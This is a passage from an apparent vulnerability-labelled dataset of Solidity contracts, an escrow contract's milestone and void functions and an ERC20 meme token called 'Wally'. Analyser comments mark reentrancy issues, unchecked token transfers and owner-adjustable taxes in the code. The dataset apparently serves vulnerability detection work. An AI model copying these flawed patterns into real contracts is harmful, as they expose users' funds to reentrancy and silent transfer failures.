fundedStatus[_contractId];\n\n require(_status, \"Contract improperly funded\");\n\n\t\t// reentrancy-no-eth | ID: 64774f9\n _contract.active = true;\n\n\t\t// reentrancy-no-eth | ID: 64774f9\n _contract.startBlock = block.timestamp;\n\n\t\t// reentrancy-benign | ID: d6c7fa2\n activeContracts += 1;\n\n emit ContractSigned(\n _contractId,\n _contract.payer,\n _contract.payee,\n _contract.title\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d30fb89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d30fb89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 334d634): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 334d634: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function releaseMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public nonReentrant {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(_contract.active, \"Contract inactive\");\n\n bool _completedStatus = completedStatus[_contractId];\n\n require(!_completedStatus, \"Contract completed\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Not a valid party of the contract\"\n );\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone in dispute\");\n\n require(!milestone.released, \"Milestone already released\");\n\n bool _payerSigned = payerSignedMilestone[_contractId][_milestoneId];\n\n bool _payeeSigned = payeeSignedMilestone[_contractId][_milestoneId];\n\n if (msg.sender == _contract.payer) {\n require(!_payerSigned, \"Already signed this milestone\");\n\n payerSignedMilestone[_contractId][_milestoneId] = true;\n\n _payerSigned = true;\n } else {\n require(!_payeeSigned, \"Already signed this milestone\");\n\n payeeSignedMilestone[_contractId][_milestoneId] = true;\n\n _payeeSigned = true;\n }\n\n if (_payerSigned && _payeeSigned) {\n milestone.released = true;\n\n\t\t\t// reentrancy-benign | ID: d30fb89\n\t\t\t// reentrancy-eth | ID: 334d634\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n\t\t\t// reentrancy-eth | ID: 334d634\n _contract.valueRemaining -= milestone.value;\n\n emit MilestoneReleased(\n _contractId,\n _contract.payer,\n _contract.payee,\n milestone.title,\n _milestoneId\n );\n }\n\n bool allReleased = true;\n\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n if (!_contract.milestones[i].released) {\n allReleased = false;\n\n break;\n }\n }\n\n if (allReleased) {\n\t\t\t// reentrancy-eth | ID: 334d634\n completedStatus[_contractId] = true;\n\n\t\t\t// reentrancy-benign | ID: d30fb89\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: 334d634\n _contract.active = false;\n\n emit ContractCompleted(_contractId);\n }\n }\n\n function disputeMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(!_contract.inDispute, \"This contract is already in dispute\");\n\n Milestone[] storage _milestones = _contract.milestones;\n\n require(\n !_milestones[_milestoneId].inDispute,\n \"Milestone is already in dispute\"\n );\n\n _milestones[_milestoneId].inDispute = true;\n\n emit MilestoneDisputed(_contractId, _milestoneId);\n }\n\n function disputeContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(_contract.valueRemaining > 0, \"Contract empty\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n _contract.inDispute = true;\n\n emit ContractDisputed(_contractId);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1e2cc13): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1e2cc13: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3adadef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3adadef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9292413): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 9292413: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f090a2d): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for f090a2d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3cbe246): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3cbe246: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 113d8a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 113d8a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c91ec3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c91ec3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc532a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc532a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function voidContract(uint256 _contractId) public nonReentrant {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n bool _senderStatus = voidCheck[msg.sender][_contractId];\n\n require(!_senderStatus, \"Already voided on your end\");\n\n voidCheck[msg.sender][_contractId] = true;\n\n if (!_contract.active && msg.sender == _contract.payer) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: 3cbe246\n\t\t\t\t// reentrancy-eth | ID: 113d8a0\n\t\t\t\t// reentrancy-eth | ID: c91ec3b\n\t\t\t\t// reentrancy-eth | ID: dc532a1\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-benign | ID: 1e2cc13\n\t\t\t\t// reentrancy-no-eth | ID: 3adadef\n\t\t\t\t// unchecked-transfer | ID: f090a2d\n\t\t\t\t// reentrancy-eth | ID: 3cbe246\n\t\t\t\t// reentrancy-eth | ID: 113d8a0\n\t\t\t\t// reentrancy-eth | ID: c91ec3b\n\t\t\t\t// reentrancy-eth | ID: dc532a1\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 3adadef\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-benign | ID: 1e2cc13\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: dc532a1\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: dc532a1\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n\n address _otherParty;\n\n if (msg.sender == _contract.payer) {\n _otherParty = _contract.payee;\n } else {\n _otherParty = _contract.payer;\n }\n\n bool _otherPartyStatus = voidCheck[_otherParty][_contractId];\n\n if (_otherPartyStatus) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: 113d8a0\n\t\t\t\t// reentrancy-eth | ID: c91ec3b\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n\t\t\t\t// reentrancy-eth | ID: c91ec3b\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// unchecked-transfer | ID: 9292413\n\t\t\t\t// reentrancy-eth | ID: 3cbe246\n\t\t\t\t// reentrancy-eth | ID: 113d8a0\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 3cbe246\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-eth | ID: 113d8a0\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: 113d8a0\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: 113d8a0\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n }\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (Milestone[] memory milestones) {\n Contract storage _contract = contracts[_contractId];\n\n uint256 length = _contract.milestones.length;\n\n milestones = new Milestone[](length);\n\n for (uint256 i = 0; i < length; i++) {\n milestones[i] = _contract.milestones[i];\n }\n }\n}\n",
"file_name": "solidity_code_1018.sol",
"size_bytes": 37826,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Wally is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be4f71b): Wally._taxWallet should be immutable \n\t// Recommendation for be4f71b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b5218): Wally._finalBuyTax should be constant \n\t// Recommendation for 84b5218: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9311261): Wally._finalSellTax should be constant \n\t// Recommendation for 9311261: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Emotional Support Alligator\";\n\n string private constant _symbol = unicode\"WALLY\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f0a8a): Wally._taxSwapThreshold should be constant \n\t// Recommendation for 01f0a8a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb221e): Wally._maxTaxSwap should be constant \n\t// Recommendation for 4cb221e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 708a21c): Wally.caBlockLimit should be constant \n\t// Recommendation for 708a21c: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6f4551): Wally.caLimit should be constant \n\t// Recommendation for a6f4551: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bfa229f): Wally.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bfa229f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bca7d15): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bca7d15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 39fbe4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 39fbe4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bca7d15\n\t\t// reentrancy-benign | ID: 39fbe4e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bca7d15\n\t\t// reentrancy-benign | ID: 39fbe4e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06da6bf): Wally._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 06da6bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 39fbe4e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bca7d15\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8452eca): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8452eca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 82c52de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 82c52de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c5946cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c5946cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 8452eca\n\t\t\t\t// reentrancy-eth | ID: 82c52de\n\t\t\t\t// reentrancy-eth | ID: c5946cd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8452eca\n\t\t\t\t\t// reentrancy-eth | ID: 82c52de\n\t\t\t\t\t// reentrancy-eth | ID: c5946cd\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 82c52de\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 82c52de\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8452eca\n\t\t\t\t// reentrancy-eth | ID: c5946cd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8452eca\n\t\t\t\t\t// reentrancy-eth | ID: c5946cd\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c5946cd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8452eca\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c5946cd\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c5946cd\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8452eca\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8452eca\n\t\t// reentrancy-events | ID: bca7d15\n\t\t// reentrancy-benign | ID: 39fbe4e\n\t\t// reentrancy-eth | ID: 82c52de\n\t\t// reentrancy-eth | ID: c5946cd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8f5cd21): Missing events for critical arithmetic parameters.\n\t// Recommendation for 8f5cd21: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 8f5cd21\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 8f5cd21\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 8f5cd21\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 8f5cd21\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 8f5cd21\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 528cf0d): Wally.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 528cf0d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 528cf0d\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8452eca\n\t\t// reentrancy-events | ID: bca7d15\n\t\t// reentrancy-eth | ID: 82c52de\n\t\t// reentrancy-eth | ID: c5946cd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c3731fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c3731fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0e3c9a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0e3c9a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 95fb16c): Wally.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 95fb16c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d0f53c7): Wally.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d0f53c7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f282561): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f282561: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c3731fd\n\t\t// reentrancy-benign | ID: 0e3c9a6\n\t\t// reentrancy-eth | ID: f282561\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c3731fd\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: c3731fd\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 0e3c9a6\n\t\t// unused-return | ID: 95fb16c\n\t\t// reentrancy-eth | ID: f282561\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0e3c9a6\n\t\t// unused-return | ID: d0f53c7\n\t\t// reentrancy-eth | ID: f282561\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0e3c9a6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f282561\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0e3c9a6\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10180.sol",
"size_bytes": 22121,
"vulnerability": 4
} |
{
